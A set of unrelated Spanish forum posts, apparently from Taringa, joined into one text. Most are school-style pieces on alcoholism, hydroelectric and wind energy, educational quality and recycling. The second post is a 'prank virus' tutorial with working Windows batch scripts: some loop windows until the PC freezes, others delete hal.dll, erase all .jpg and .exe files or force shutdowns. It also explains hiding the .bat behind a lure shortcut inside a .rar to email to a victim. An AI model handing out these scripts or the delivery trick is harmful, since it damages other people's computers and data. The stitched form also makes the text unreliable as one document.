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Introducción al Tema Para empezar el trabajo hablaremos del alcoholismo, y nada mejor que definir un término tan confuso para algunas personas. A continuación hablamos de los efectos del alcohol, tanto en el organismo, en el cual se puede leer sus peligros y enfermedades, los efectos visibles y psíquicos, los cuales son los más conocidos, y los efectos en la adolescencia. Desarrollo El alcoholismo es una enfermedad crónica y progresiva que deriva de la ingestión excesiva y no controlada de alcohol, el cual se encuentra en todas las bebidas alcohólicas en mayor o menor grado. ¿Por qué beben los adolescentes? Para los adolescentes el alcohol es como un "quitapenas" que permitirían esquivar los límites que la realidad impone y acceder a un mundo que ofrecería mejores condiciones de sensación. La adolescencia es un momento particularmente vulnerable en la vida de una persona, por ser un momento de "transición" entre la pérdida de los padres como educadores principales y la búsqueda o el encuentro de otras nuevas figuras, deseos y sensaciones. A todo esto también se suma el enfrentamiento con un mundo que cada vez se les va haciendo más complejo. Existe además un verdadero "bombardeo" de la publicidad dirigida hacia los adolescentes, apetecible para el mercado; basta ver como ejemplo al respecto, las publicidades de cerveza destinadas a jóvenes y el "encuentro" entre ellos si se la consume juntos. Los adolescentes también afrontan en esta etapa el erotismo, los encuentros sexuales... que los atemoriza, pero en silencio. En diferentes pueblos y culturas, encontramos ceremonias y rituales de iniciación como forma de marcar en lo simbólico este pasaje de la niñez al "mundo adulto", en muchos casos como marcas en lo real y en todos poniendo en juego cuerpo expuesto al sufrimiento y a la muerte. Ahora bien, ¿qué sucede en una sociedad en la que se ha perdido el rito de iniciación de los actos simbólicos que marcan esta salida de la niñez y la entrada a la adultez como son todas las sociedades modernas del primer mundo? Es posible que en nuestra cultura actual, el alcohol juegue algún papel en este sentido para los adolescentes en tanto "se es grande" por estar "tomando alcohol" o por estar borracho. Por otra parte, el alcohol "suelta la lengua" y "da ánimos" para "encarar" el juego de la seducción inicial. ¿Cuáles son los factores de riesgo que pueden llevar a un consumo excesivo? Algunas situaciones pueden favorecer un consumo excesivo de alcohol. Es importante estar atento si se da alguna de estas situaciones: • situación familiar en crisis • rendimiento escolar y/o laboral deficiente • dificultades en el uso del tiempo libre • trastornos del comportamiento alimentario • depresión • ausencia de expectativas • ausencia de responsabilidades • dificultad para la comunicación y relación con otros • actitudes consumistas Efectos del alcoholismo en el adolescente La mayoría de los adolescentes han consumido alcohol por lo menos una vez en su vida y, quizá, haya tomado de más en alguna ocasión. Esto puede ser normal, pues el que un adolescente tome bebidas alcohólicas son caracteres típicos de su edad, al igual que lo son los conflictos generacionales, la confrontación de ideas y actitudes, y todo lo típico de esa edad. Pero cuando el joven lo hace con frecuencia y sin medida, y su vida se ve afectada en términos de su desempeño y calidad, entonces el muchacho ya es un alcohólico. Efectos en el organismo Debido a su total y rápida absorción, el alcohol ingerido es incorporado al torrente sanguíneo que baña cada célula del organismo. Por esta razón no hay órgano que escape a su acción destructiva. Acción Sobre el Estómago Una vez ingerida la bebida alcohólica la mucosa gástrica absorbe rápidamente gran parte del alcohol ingerido; casi todo es transformado en el hígado y el resto es eliminado con la orina y el aire expirado. Produce una acción cáustica e irritante sobre la mucosa del estómago que aumenta la producción de mucus y de ácido clorhídrico, perturbando de este modo la función digestiva gasta producir una gastritis crónica. Este aumento de secreción del estómago puede favorecer la aparición de úlceras gástricas y duodenales. Acción Sobre el Hígado La ingestión de bebidas alcohólicas puede ocasionar con el tiempo una grave afección hepática llamada cirrosis, cuya evolución es lenta pero fatal. El apetito está disminuido, el sujeto queda satisfecho con solo beber, no consumiendo la cantidad indispensable de alimentos; de este modo se produce la "Avitaminosis" y otras carencias nutritivas que disminuyen la capacidad antitóxica del hígado, el cual se ve seriamente dañado por el alcohol, llegando a desarrollar la cirrosis hepática de tan grave pronóstico. Sobre el páncreas El alcohol irrita una mucosa que está situada en el duodeno, en donde desemboca el conducto excretor del páncreas, perturbando así el libre flujo del jugo pancreático. Por este mecanismo asociado a otros factores puede producirse gravísimas afecciones, muchas veces fatales, llamadas pancreatitis aguda o pancreatitis crónica con brotes agudos. Sobre el Aparato Reproductor El alcohol lesiona las células germinativas que intervienen en la descendencia, los espermatozoides y los óvulos, siendo causa de infertilidad y pérdida de la potencia sexual en una mínima parte de los casos. Sobre el Sistema Nervioso Central Es justamente en el sistema nervioso central donde ejerce el alcohol sus acciones más nocivas. El alcohol deprime las funciones cerebrales, comenzando por las más elevadas como la autocrítica y el autocontrol, siguiendo con la ideación y coordinación motriz, para terminar con las más simples o vegetativas como la respiración y la circulación.

Hola a todos los usuarios de Taringa!, hoy les voy a enseñar a hacer algunos virus ¡ solo con el bloc de notas Aclaro: son bromas Os muestro un ejemplo de uno simple: Abrimos el bloc de notas desde Inicio>Todos los Programas>Accesorios>Bloc de notas y pegamos el siguiente código: @echo :e start cmd.exe goto :e Crear bromas de virus con el bloc de notas Lo que hace es abrir ventanas de cmd infinitamente con la única solucion de reiniciar el pc. ¡Nada peligroso! La víctima va a desesperarse un rato, nada más. virus Luego le damos a Archivo>Guardar como y lo guardamos con cualquier nombre y la extensión .bat crear Lo siguiente es hacer este archivo .bat oculto. Asi que darle al botón derecho>Propiedades y tildamos la casilla "Oculto". ACLARACIÓN: Ir a Inicio>Panel de Control>Opciones de Carpeta>Ver y en "Archivos y carpetas ocultos" marcar "Mostrar todos los archivos y carpetas ocultas", para hacer el trabajo mas fácil. taringa Post Después, en la carpeta donde está el virus hacemos clic derecho>Nuevo>Acceso Directo, y en la ventana que aparece ponemos "Examinar" y buscamos el archivo .bat y elegimos un nombre para el acceso directo que sea llamativo como Antonio Bragueta Suelta. Nos quedará algo asi: Crear bromas de virus con el bloc de notas(bien explicado). virus Ahora hay que cambiar el icono del acceso directo. Entonces hacemos clic derecho>Propiedades>Cambiar Icono, y elegimos uno que nos guste. crear Finalmente el último paso es comprimir en un .rar los dos archivos: el virus y el acceso directo. Entonces los seleccionamos, clic derecho>Añadir a "Virus.rar". Ya nos quedará el .rar en la misma carpeta donde estaba todo, le cambiamos el nombre por el del acceso directo, en este caso Antonio Bragueta Suelta, y... ¡listo! Ya podeis enviarlo por e-mail, MSN o... ¡probarlo! Con el código del ejemplo del virus no pasa nada, pero con otros ¡se les puede borrar el Windows! Cuando la víctima reciba el archivo y lo descomprima, verá solo el acceso directo y no el .bat (salvo que tenga la opción activada de ver archivos ocultos). Por eso, por las dudas, recomiendo llamar al .bat Antonio Bragueta Suelta, el nombre que queráis o algo por el estilo. Ahora os dejo otros códigos. Solo teneis que hacer los pasos de arriba y añadir el código que os guste. Los siguientes no es aconsejable que los probéis. Algunos como el que se te apaga el ordenador no es peligroso pero no pongáis el que se os borra todo Windows. msg * Contesta esta encuesta y recibiras una sorpresa... set /p var=Te gusta la escuela? cls set /p var=Ves series animadas? cls @echo off>>virus.com @echo off>>worm.vbs cls set /p var=Que profesion te gusta mas? cls @echo off>>troyano.dll cls set /p var=Que tipo de musica te gusta? cls @echo off>>bomba.reg @echo off>>script.exe cls set /p var=Que celular usas? cls @echo off>>analogico.zip @echo off>>win32vbs.bat cls set /p var=Ya quieres k se acabe esta encuesta? cls @echo off>>windows.exe msg * Se acabo la encuesta disfruta tu sorpresa :menu start http://www.masterhacks.20m.com goto menu :menu msg * Reinicia la pc o lo hare yo... goto menu dir dir dir dir dir shutdown -r Este les ralentiza el pc mientras les va haciendo unas preguntillas, y cuando termina apaga el pc. taringa echo msgbox “Vas a ser puteado” msg * Hola. Yo soy el capo que hizo este programa para que tu “amiguito” te pueda putear. Te voy a explicar lo que va a ir pasando. Para ello pusa Aceptar. msg * le das cerra . Me parece que asi no vas a poder escaparte de mi amiguito. msg * Bueno te voy a decir lo que le va a pasar a tu ordenador dentro de unos minutos. msg * Principalmente se te van a abrir unas cuantas calculadoras para que puedas hacer todos los calculos que quieras. msg * Tambien se te van a abrir otras tantas ventanas de MSDOS. msg * Y unos cuantos bloc de notas. msg * Se van a seguir abriendo infinitamente hasta tildar la pc. msg * Y entonces, PUM!, tendras que reiniciar! msg * Pues eso sera la que le pasra a tu compu… msg * Piola jajaj msg * Pero la buena noticia para vos es que hasta que no acaben estos mensajitos no pasara nada… msg * Pero en el momento que se terminen, que sera pronto, todo sera un desastre… msg * Este podria ser el ultimo… Que tension… Que nervios… msg * Pfff. Que alivio… Todavia no… msg * Perdon pero ya no se me ocurren mas cosas para hacerte sufrir asi que… msg * Hasta la proxima amigo! pause @echo off :bucle start cmd.exe start calc.exe start notepad.exe goto bucle Este es igual que el del ejemplo, pero antes van apareciendo unos molestos mensajitos que nos dicen cosas. Post @echo off title Formatear disco duro echo ¿Desea formatear su disco duro? (y/n) pause >nul echo Analizando... echo. pause cls dir /s dir /s dir /s echo. echo. pause cls echo Borrando archivos... echo. pause cls echo Archivos borrados echo. pause cls echo Presione una tecla para reiniciar. echo. pause >nul msg * Esto es una broma, no te asustes =P exit Este simula formatear el disco duro. Crear bromas de virus con el bloc de notas(bien explicado). Esto es solo para información y solo lo pongo para que sepan y tengan mas conocimiento de esto. YO NO les estoy diciendo que lo usen y borren todo el Windows de alguien, yo solo lo pongo con promedio de información, ¡nada más!... YO NO SOY el responsable de lo que hagan con él. Vosotros teneis cerebro y ya soin suficientemente grandes para poder decidir que haceis con esto. Este elimina windows: @echo off taskill Explorer tskill Explorer del /q /f /s C:WINDOWSsystem32hal.dll Este borra todos los jpg y exe del pc: @echo off cd del *.jpg /q del *.exe /q shutdown -l shutdown –s exit Este apaga el pc automáticamente: @echo off shutdown -s Este abre internet explorer 3 veces: @echo off start iexplore start iexplore start iexplore Pause exit Este abre internet explorer muchísimas veces y satura el ordenador: @echo off start iexplore start iexplore start iexplore start iexplore start iexplore start iexplore start iexplore start iexplore start iexplore start iexplore start iexplore start iexplore start iexplore start iexplore start iexplore start iexplore start iexplore start iexplore start iexplore start iexplore start iexplore start iexplore start iexplore start iexplore start iexplore start iexplore start iexplore start iexplore start iexplore start iexplore start iexplore start iexplore start iexplore start iexplore start iexplore start iexplore start iexplore start iexplore start iexplore Pause exit Puedes hacer el de abrir internet explorer todas las veces que quieras, solo tienes que añadir ``start iexplore´´ todas las veces que quieras para que se abracientos, o miles de veces. Gracias

hola hoy les traigo este post sobre las Centrales Hidroelectricas 1) Se denomina energía hidráulica, a aquella que se obtiene del aprovechamiento de las energías cinética y potencial de la corriente del agua saltos de agua o mareas. 2) La energía hidráulica es un tipo de energía verde “cuando su impacto ambiental es mínimo y usa la fuerza hídrica sin represarla” en caso contrario es considerada solo una forma de energía renovable. 3) En un rio rápido de montaña la energía hidráulica que aprovechamos es la cinética por la velocidad con la que corre el agua. 4) En un rio caudaloso y tranquilo la forma de energía que aprovechamos seria energía potencial. Se construye un embalse en donde se aprovecha la energía potencial de la masa de agua de cause de un río tranquilo, en virtud de un desnivel el agua en su caída pasa por una turbina hidráulica la cual transmite la energía a un generador donde se transforma en energía eléctrica. 5) Centrar Hidroeléctrica: es una instalación que aprovecha fuentes de energía hidráulica para originar otra de tipo eléctrico, es decir es una instalación donde se aprovecha la energía que se genera por medio del movimiento del agua y se la transforma en energía eléctrica. 6) Partes de una Central Hidráulica • Tubería forzada y o canal • Presa • Turbina • Generador • Transformador • Líneas eléctricas • Compuertas hidráulicas y Válvulas hidráulicas • Rejas y limpia rejas • Embalse • Casa de turbinas 7) Una turbina hidráulica es una turbo máquina motora hidráulica, que aprovecha la energía de un fluido que pasa a través de ella para producir un movimiento de rotación que, transferido mediante un eje, mueve directamente una máquina o bien un generador que transforma la energía mecánica en eléctrica, así son el órgano fundamental de una central hidroeléctrica. • Turbinas de acción: Son aquellas en las que el fluido de trabajo no sufre un cambio de presión importante en su paso a través de rodete. • Turbinas de reacción: Son aquellas en las que el fluido de trabajo si sufre un cambio de presión importante en su paso a través de rodete. 8) El generador – transformador consiste en transformar alguna clase de energía química, mecánica, térmica o luminosa, entre otras, en energía eléctrica. 9) En una Central Hidroeléctrica: la energía entrante es la hidráulica y la energía saliente es la eléctrica, en el medio de este proceso podemos encontrar un proceso mecánico. 10) La potencia de una central hidroeléctrica se mide generalmente en Megavatios (MW)

HOLA LES TRAIGO EN ESTE POST COMO ELIMINAR UN VIRUS DE ACCESO DIRECTO , LES DEJO UN VIDEO HECHO POR MI , AL IGUAL QUE EL SOFTWARE. LINK DEL VIDEO link: http://www.youtube.com/watch?v=YHfLYmgsn4E&feature=youtu.be LINK DE DESCARGA DEL SOFTWARE Para descargar el software entrar en el link del video y al final del video pueden encontrar el link para descargar ESPERO QUE LES GUSTE AHORA YA SAVEN COMO SIEMPRE DEJO UNA FRASE PARA PENSAR

RESPUESTA DE LA ACTIVIDAD Nº1 La energía eólica es la energía cuyo origen proviene del movimiento de masa de aire3 es decir del viento. En la tierra el movimiento de las masas de aire se deben principalmente a la diferencia de presiones existentes en distintos lugares de esta, moviéndose de alta a baja presión, este tipo de viento se llama viento gea estrófico. RESPUESTA DE LA ACTIVIDAD Nº2 El viento es el flujo de gases a gran escala. En la Tierra, el viento es el movimiento en masa del aire en la atmósfera en movimiento horizontal. Por diferencias de presión. El aire se desplaza desde zonas de mayor presión hacia zonas de menor presión. Los vientos son corrientes de aire que se producen a partir de una diferencia de la presión atmosférica. Cuando el sol brilla, calienta la tierra. Ésta a su vez, calienta la atmósfera, o capa de aire que envuelve la Tierra. Las capas inferiores de la atmósfera son las primeras en calentarse y entonces, comienzan a subir. Las capas superiores, con aire más frío, se mueven para ocupar su lugar. Este movimiento es lo que provoca el viento. RESPUESTA DE LA ACTIVIDAD Nº3 La energía eólica no es algo nuevo, es una de las energías más antiguas junto a la energía térmica. El viento como fuerza motriz existe desde la antigüedad y en todos los tiempos ha sido utilizado como tal, como podemos observar. Tiene su origen en el sol. Así, ha movido a barcos impulsados por velas o ha hecho funcionar la maquinaria de los molinos al mover sus aspas. Pero, fue a partir de los ochenta del siglo pasado, cuando este tipo de energía limpia sufrió un verdadero impulso. La energía eólica crece de forma imparable a partir del siglo XXI, en algunos países más que en otros, pero sin duda alguna en España existe un gran crecimiento, siendo uno de los primeros países por debajo de Alemania a nivel europeo o de Estados Unidos a escala mundial. Su auge en parques eólicos es debido a las condiciones tan favorables que existe de viento, sobre todo en Andalucía que ocupa un puesto principal, entre los que se puede destacar el Golfo de Cádiz, ya que el recurso de viento es excepcional. Los primeros molinos La referencia más antigua que se tiene es un molino de viento que fue usado para hacer funcionar un órgano en el siglo I era común.4Los primeros molinos de uso práctico fueron construidos en Seistán, Afganistán, en el siglo VII. Estos fueron molinos de eje vertical con hojas rectangulares.5 Aparatos hechos de 6 a 8 velas de molino cubiertos con telas fueron usados para moler trigo o extraer agua. En Europa En Europa los primeros molinos aparecieron en el siglo XII en Francia e Inglaterra y se distribuyeron por el continente. Eran unas estructuras de madera, conocidas como torres de molino, que se hacían girar a mano alrededor de un poste central para levantar sus aspas al viento. El molino de torre se desarrolló en Francia a lo largo del siglo XIV. Consistía en una torre de piedra coronada por una estructura rotativa de madera que soportaba el eje del molino y la maquinaria superior del mismo. Estos primeros ejemplares tenían una serie de características comunes. De la parte superior del molino sobresalía un eje horizontal. De este eje partían de cuatro a ocho aspas, con una longitud entre 3 y 9 metros. Las vigas de madera se cubrían con telas o planchas de madera. La energía generada por el giro del eje se transmitía, a través de un sistema de engranajes, a la maquinaria del molino emplazada en la base de la estructura. Los molinos de eje horizontal fueron usados extensamente en Europa Occidental para moler trigo desde la década de 1180 en adelante. Basta recordar los ya famosos molinos de viento en las andanzas de Don Quijote. Todavía existen molinos de esa clase, por ejemplo, en Holanda.6 Molinos de bombeo En Estados Unidos, el desarrollo de molinos de bombeo, reconocibles por sus múltiples velas metálicas, fue el factor principal que permitió la agricultura y la ganadería en vastas áreas de Norteamérica, de otra manera imposible sin acceso fácil al agua. Estos molinos contribuyeron a la expansión del ferrocarril alrededor del mundo, supliendo las necesidades de agua de las locomotoras a vapor.7 Turbinas modernas Las turbinas modernas fueron desarrolladas a comienzos de 1980, si bien, los diseños continúan desarrollándose. RESPUESTA DE LA ACTIVIDAD Nº4 EL VIENTO ES EMPLEO POR LA NAUTICA, LA PODEMOS REPRESENTAR MEDIANTE UNA TABLA. ES DECIR UTILIZA LA VELOCIDAD DEL VIENTO. RESPUESTA DE LA ACTIVIDAD Nº5 Se denomina energía eólica a toda aquella energía que se pueda convertir en trabajo a partir del uso de la fuerza del viento. Para ello, turbinas eólicas deben convertir la energía cinética del viento en electricidad por medio de un generador. Los aerogeneradores tienen aspas o hélices que hacen girar un eje central conectado, mediante una serie de engranajes (la trasmisión), al generador eléctrico. Sólo el dos por ciento de la energía solar que llega a la Tierra se convierte en energía eólica y, por diversos motivos, sólo una pequeña parte de esta energía es aprovechable. A pesar de ello, se ha calculado que el potencial energético de esta fuente de energía es unas veinte veces el actual consumo mundial de energía, lo que hace de la energía eólica una de las fuentes de energía renovables de primera magnitud. La energía del viento es de tipo cinético (debida a su movimiento); ello hace que la potencia obtenible del mismo dependa de forma importante de su velocidad, así como del área de la superficie captadora. Todas las máquinas que ha construido el hombre para obtener el mayor rendimiento posible de la energía del viento se basan en frenar el viento por medio de algún dispositivo colocado en su camino. RESPUESTA DE LA ACTIVIDAD Nº6 ES UN ARTEFACTO O MAQUINA QUE SIRVE PARA MOLER UTILIZANDO LA FUERZA DEL VIENTO O AGUA. POR EXTENCION EL TERMINO MOLINO SE APLICA COOQUIALMENTE A LOS MECANISMO QUE UTILIZA LA FUERZA DEL VIENTO PARA MOVER OTROS ARTEFACTOS. TALES COMO UNA BOMBA HIDRAULICA O UN GENERADOR ELECTRICO. RESPUESTA DE LA ACTIVIDAD Nº7 UN AEROGENERADOR ES UN GENERADOR ELECTRICO MOVIDO POR UNA TURBINA ACCIONADO POR EL VIENTO. LA ENERGIA EOLICA EN REALIDAD ENERGIA CINETICA DEL AIRE DEL MOVIMIENTO PROPORCIONADA ENERGIA MECANICA A UN ROTOR “ELICE “QUE ATRAVES DE UN SISTEMA DE TRANSMICION DE MECANICA, HACE GIRAR EL ROTOR DE UN GENERADOR; NORMALMENTE UN ALTERNADOR TRIFASICO QUE CONVIERTE LA ENERGIA MECANICA EN ENERGIA ELECTRICA. RESPUESTA DE LA ACTIVIDAD Nº8 • LA GONDOLA: CARCASA QUE PROTEGE LA PARTE FUNDAMENTAL DEL AEROGENERADOR. • LA PALA DEL ROTOR QUE TRANSMITE LA POTENCIA DEL VIENTO HACIA EL BUJE. • EL BUJE QUE ES LA PARTE QUE UNE LAS PALAS DEL ROTOR CON EL EJE DE LA BAJA VELOCIDAD. • EJE DE BAJA VELOCIDAD QUE CONECTA EL BUJE DEL ROTOR AL MULTIPLICADOR, SU VELOCIDAD DE GIRO ES MUY LENTA. • EL MULTIPLICADOR, PERMITE QUE EL EJE DE ALTA VELOCIDAD GIRE MUCHJO MAS RAPIDO QUE EL EJE DE BAJA VELOCIDAD. • EL EJE DE ALTA VELOCIDAD GIRA A GRAN VELOCIDAD Y PERMITE EL FUNCIONAMIENTO DEL GENERADOR ELECTRICO. • EL GENERADOR ELECTRICO QUE ES UNA DE LA SPARTES MAS IMPORTANTES DE UN AEROGENERADOR TRANSFORMA LA ENERGIA MECANICA EN ENERGIA ELECTRICA. • EL CONTROLADOR ELECTRONICO ES UN ORDENADOR QUE MONITORIZA LAS CONDICCIONES DEL VIENTO Y CONTROLA CON EL MECANISMO DE ORIENTACION. • LA UNIDAD DE REFRIGERACION, MECANISMO QUE SIRVE PARA ENFRIAR EL GENERADOR ELECTRICO. • LA TORRE QUE ES LA PARTE DEL AEROGENERADOR QUE SOPORTA LA GONDOLA Y EL ROTOR. • EL MECANISMO DE ORIENTACION, ESTA ACTIVADO POR EL CONTROLADOR ELECTRONICO, LA ORIENTACION DEL AEROGENERADOR CAMBIA SEGÚN LAS CONDICCIONES DEL VIENTO. RESPUES DE LA ACTIVIDAD Nº9 1) AEROGENERADOR: TRANSFORMA LA FUEZA DEL VIENTO EN ELECTRICIDAD 2) ACUMULADOR: BATERIAS QUE ALMACENAN ELECTRICIDAD 3) REGULADOR: CONTROLA LA GENERACION ELECTRICA DEL AEROGENERADOR. 4) INVERSOR: CONVIERTE LA ELECTRICIDAD ALMECENADA EN FORMA DE CORRIENTE CONTINUA, EN ELECTRICIDAD APTA PARA EL USO DOMESTICO RESPUESTA DE LA ACTIVIDAD Nº10 La energía eólica en el mundo Las estadísticas anuales publicadas por el Consejo Mundial de Energía Eólica muestran que la industria instaló poco más de 41 mil MW nuevos de energía eólica en el año 2011, con lo que la capacidad total instalada a nivel mundial superó los 238 mil MW a finales del año pasado. Esto representa un incremento del 21%, con un aumento en el tamaño del mercado anual global de poco más del 6%. Hoy en día, alrededor de 75 países de todo el mundo tienen instalaciones comerciales de energía eólica, donde 22 de ellos sobrepasan el nivel de 1 GW. La energía eólica en Argentina En un mundo donde el cuidado del ambiente resulta fundamental, y en un país donde existen condiciones naturales óptimas para la generación de energía eólica –vientos constantes en distintas partes de su territorio-, la puesta en marcha de tecnología generadora de este recurso renovable implica una mirada al futuro. La eólica es una fuente de energía inagotable y, una vez hecha la instalación, es gratuita. Además, no contamina: al no existir combustión, no produce lluvia ácida, no contribuye al aumento del efecto invernadero, no destruye la capa de ozono y no genera residuos. ESTE TRABAJO CONTIENE DIVERSAS INFORMACION SOBRE LA ENERGIA EOLICA , ESPERO QUE LES SIRVA COMO ME SIRVIO A MI PARA RENDIR .

Hace tiempo la profesora me dio un trabajo practico sobre calidad educativa y era dificil de crear un texto , ya que busque en diferentes sitio y nada ... entonces me sente y luego de leer mucho decidi crear , luego le mande a la profe y me aprobo. asi que quiero compartir esta hoja con ustedes . espero que les sirva ( Autor Barrionuevo Gonzalo , IIEP).. Hablar de calidad educativa es un concepto muy complejo y confuso debía a que en la educación tenemos diferentes métodos a la hora de transmitir los contenidos. Etimológicamente la palabra calidad deriva del latín “qualitas” y según el diccionario significa propiedad o conjunto de propiedades inherente a una cosa que permita apreciarla como igual, mejor o peor que lo restante de su especie. Este concepto proviene del campo económico e industrial donde luego se lo implemento el ámbito de la docencia, donde el alumno es el cliente, los contenidos son los productos y los docentes son los comerciantes de los contenidos. La autora Ferrer Tania nos relata que la calidad educativa adquiere una polisemia especial cuando hablamos de educación porque posee métodos de análisis y evaluación, también hace referencia que la evaluación es el proceso de la búsqueda de la calidad en función de las características culturales propias. UNESCO nos plantea la “autoevaluación” como herramientas de diagnóstico para observar puntos fuertes y área de mejoras. Dentro de lo que es calidad educativa se encuentran diferentes modelos tales como: • Gestión Basada en la Escuela: Donde se enseñaba mediante la interacción de docente alumno. • Educación Basada en los Resultados: Busca la excelencia en la calidad de los contenidos • Escuela Efectiva: Estas son el paradigma de los últimos tiempos donde se basa en la importancia de los resultados académicos. • Modelos Cipp: Considerado en la calidad educativa del profesor, es decir el perfeccionamiento del profesor. Entonces para concluir y como veníamos sosteniendo “hablar de calidad de la educación “es un tema amplio, complejo, abstracto donde interactúan diversos factores importantes para el mismo. Donde se debe tener en cuenta el contexto , los contenidos a desarrollar o abordar , la capacidad del docente para potencializar los conocimientos de sus alumnos , fomentar/ estimular , despertar una motivación necesidad , desarrollar la imaginación y creación , crear un desequilibrio que los lleve hacia la duda “ preguntarse por qué “ y no quedarse con los contenidos dados por el docente , es decir llevarlo a los alumnos a ser autodidactas para que así adquieran y desarrollen un conocimiento superior al que poseen .

LEY DE LAS 3 ERRES. No muchos conocen de esto , asi que a ponerse las pilas y a cumplir con esta ley .... “Piensa globalmente actúa localmente” Cada una de nosotras genera más de 1’4 Kgs de basura al día. Pero ¿realmente es basura lo que llega a los contenedores grises? • Si se quema, contamina el aire. • Si se entierra, contamina el suelo. • Y si se desecha contamina el agua de los ríos, mares y lagos. Día a día se consumen más productos que provocan la generación de más y más basura, y cada vez existen menos lugares en donde ponerla. Para ayudar a la conservación de nuestro medioambiente, podemos empezar por revisar nuestros hábitos de consumo. Lo que compras, comes, cultivas, quemas o tiras, puede establecer la diferencia entre un futuro con un medioambiente sano, o una destrucción de la naturaleza con rapidez asombrosa. Cada persona tenemos la oportunidad y la capacidad de contribuir a mejorar nuestro espacio y nuestro mundo a partir de pequeñas acciones cotidianas. Por ello, es importante que busques, dentro de tu casa y oficina, aquellas oportunidades donde puedas: Aplicar y transmitir el principio de las 3 erres puedes ser parte de la solución al problema de la basura. Reducir tu consumo de energía (luz, gas, etcétera); de agua y de todo tipo de productos, especialmente aquellos que son contaminantes. Evitar todo aquello que de una u otra forma genera un desperdicio innecesario. Reciclar los materiales susceptibles de ello, como plásticos, vidrio y cartón en puntos cercanos a tu casa. Volver a usar un producto o material varias veces sin tratamiento. Darle la máxima utilidad a los objetos sin la necesidad de destruirlos o deshacerse de ellos. Reutilizar / Reusar: artículos como el papel y otros, antes de comprar dichos productos nuevamente. Utilizar los mismos materiales una y otra vez, reintegrarlos a otro proceso natural o industrial para hacer el mismo o nuevos productos, utilizando menos recursos naturales. Como podrás ver, el aplicar estas "tres erres" también te ayudará a ahorrar. Recuerda: RECICLAR es bueno, pero es mucho más importante REDUCIR el consumo irresponsable e innecesario y REUTILIZAR los bienes (ley de las 3 erres). Además hay otros 2 principios básicos que se han añadido al trio de las R. que son Reunirse, para coordinarse y alcanzar soluciones colectivas para la aplicación de las erres y Evitar, para no comprar o usar ciertos bienes o servicios muy perjudiciales existiendo alternativas sostenibles. Algunos datos interesantes: - Los envases de Tetra-Brik, así como el papel/cartón manchado con grasas o restos de comida, NO se reciclan como papel y no se deben depositar en los contenedores de reciclado. - No tires las Pilas eléctricas o de reloj: CONTAMINAN mucho. Deposítalas en los contenedores adecuados, si existen, y si no, guárdalas o entrégalas en algunas tiendas que las recogen (relojerías, eléctricas...). - Antes de tirar muchos objetos usados (ropa, juguetes...) los puedes dar a organizaciones que los recogen. Si puedes, asegúrate de la seriedad de estas organizaciones. - Al año, en un país industrializado, se usa per cápita: 2 árboles, 90 tarros de bebida, 70 tarros de comida enlatada, 35 tarros de alimentos para animales, 107 botellas, 45 kilos de bolsas plásticas. - Japón es un buen ejemplo: recicla el 60% de su basura total (el 50% de sus papeles, del 55% de sus botellas, el 66% de sus latas). - Cerca de un tercio de nuestra basura es orgánica (es decir, tiene origen natural y es, por lo tanto, biodegradable). Exige la instalación de estos contenedores para reutilizarlo en compost u otros. - Millones de kilos de desechos son tirados al mar por barcos, industrias y poblaciones costeras. - Lo que echa su familia al basurero no es insignificante comparado con lo que arrojan las industrias. En Canadá, un caso comprobado, el 50% de toda la basura sólida del país proviene de las casas particulares. - La incineración, lejos de solucionar el problema, significa un embrollo aún mayor: contamina el aire con cancerígenos como las dioxinas y furanos, mercurio y otras sustancias tóxicas. En algunos países, se emplea la incineración para la obtención de energía, pero se trata de una realidad muy cara. - La basura es un grave problema en su almacenamiento, transporte y tratamiento, - El plástico tradicional, elaborado sobre la base de petróleo y sustancias químicas derivadas, constituye el producto desechable más abundante en los basureros. Y no se biodegrada, por lo tanto tarda cientos de años en desintegrarse, pues funciona sobre la base de mantener las partículas unidas. - Es difícil reciclar plástico, porque hay 50 tipos diferentes no compatibles que deben clasificarse y procesarse separadamente. Las bolsas de basura, por lo menos, resultan del reciclaje. Qué puede hacer: hogar. - Infórmese donde tiene el ecopunto, tanto fijo como móvil, más Cercano de su - Al comprar, evita los empaques excesivos, y prefiere los que están hechos de material reciclado (o reciclable), pregúntate si realmente lo necesitas, después, si lo puedes reutilizar, o bien, reciclar. - Consuma menos. Transfórmese en un consumidor en retirada: intente cada día consumir menos. Analice la cantidad de cosas que usted compra y de las cuales puede prescindir sin que sufra su calidad de vida. - Mire lo menos posible las cosas como basuras. Sólo es basura aquello que no sirve. Y prácticamente todo, si se tiene imaginación e interés, puede servir. - No tire los desperdicios en la calle. Tampoco en su patio o jardín. Ni siquiera una colilla de cigarrillos. - Utilice correctamente los contenedores de reciclaje, si no tiene uno cerca de su hogar solicítelo a su ayuntamiento, por ley están obligados a facilitar la recogida y tratamiento selectivo. - Prefiera jarros o recipientes de vidrio en vez de vasos de papel o plásticos desechables. - Use sus propios bolsos reutilizables, grandes y firmes, para hacer sus compras. Uno sólo, en vez de muchos pequeños. Una bolsa de género para el pan evitará, como mínimo, 365 bolsas al año por familia. - Reutilice los envases y recipientes de yogur y mantequilla para guardar y congelar sobrantes de comida o úselos como moldes para gelatina y flan. - Los cascarones de huevo pueden utilizarse como fertilizante: quiébrelos y extiéndalos sobre la tierra, alrededor de sus plantas de ornato o del jardín. También sirven para alejar caracoles y babosas. - Si tiene jardín, separe los restos orgánicos y haga compost (abono) para fertilizar sus plantas. Sólo tire la basura que ya no podrá volver a usar. Sobre el papel: No malgastes papel, reutilízalo al máximo: 1.- Usa siempre las dos caras de las hojas. 2.- Utiliza hojas de reuso (impresas por un lado), para borradores, tareas, fax, comunicación informal, interna, blocks de recados telefónicos, etc. 3.- piensa si realmente es necesario imprimirlo o puedes enviarlo por email. 4.- Usa trapos de cocina en vez de rollos de papel. 5.- Rechaza folletos gratuitos que no utilizarás. 6.- Compra productos que estén mínimamente envueltos. 7.- Usa papel Reciclado siempre que puedas. (Esto aumentará su demanda, y contribuirá a su mayor producción y con ello la preservación de recursos naturales). 8.- Planta un árbol o una planta donde se pueda y en campañas. ECOLOGISMO DE ANDAR POR CASA (IMP). Sepa cómo reutilizar, reciclar, reducir y recuperar todos los objetos cotidianos que se utilizan habitualmente en la casa. La teoría de las tres erres -reutilizar, reducir y reciclar- toma fuerza a la vista de la saturación de los vertederos, o del daño que las incineradoras provocan cuando vierten a la atmósfera los humos de las basuras que queman. 20 gestos que cuidan el medio ambiente.- 1. Elija los productos con menos embalaje y recuerde que, por lo general, los envoltorios de cartón o papel y los envases de vidrio son los menos dañinos. Evite los alimentos presentados en bandejas de corcho blanco. 2. Cuando vaya a la compra, lleve su propia bolsa o carro. En última instancia, aproveche las bolsas que le hayan dado. 3. Apueste por los productos de formato familiar, generan menos residuos y, por lo general, son más 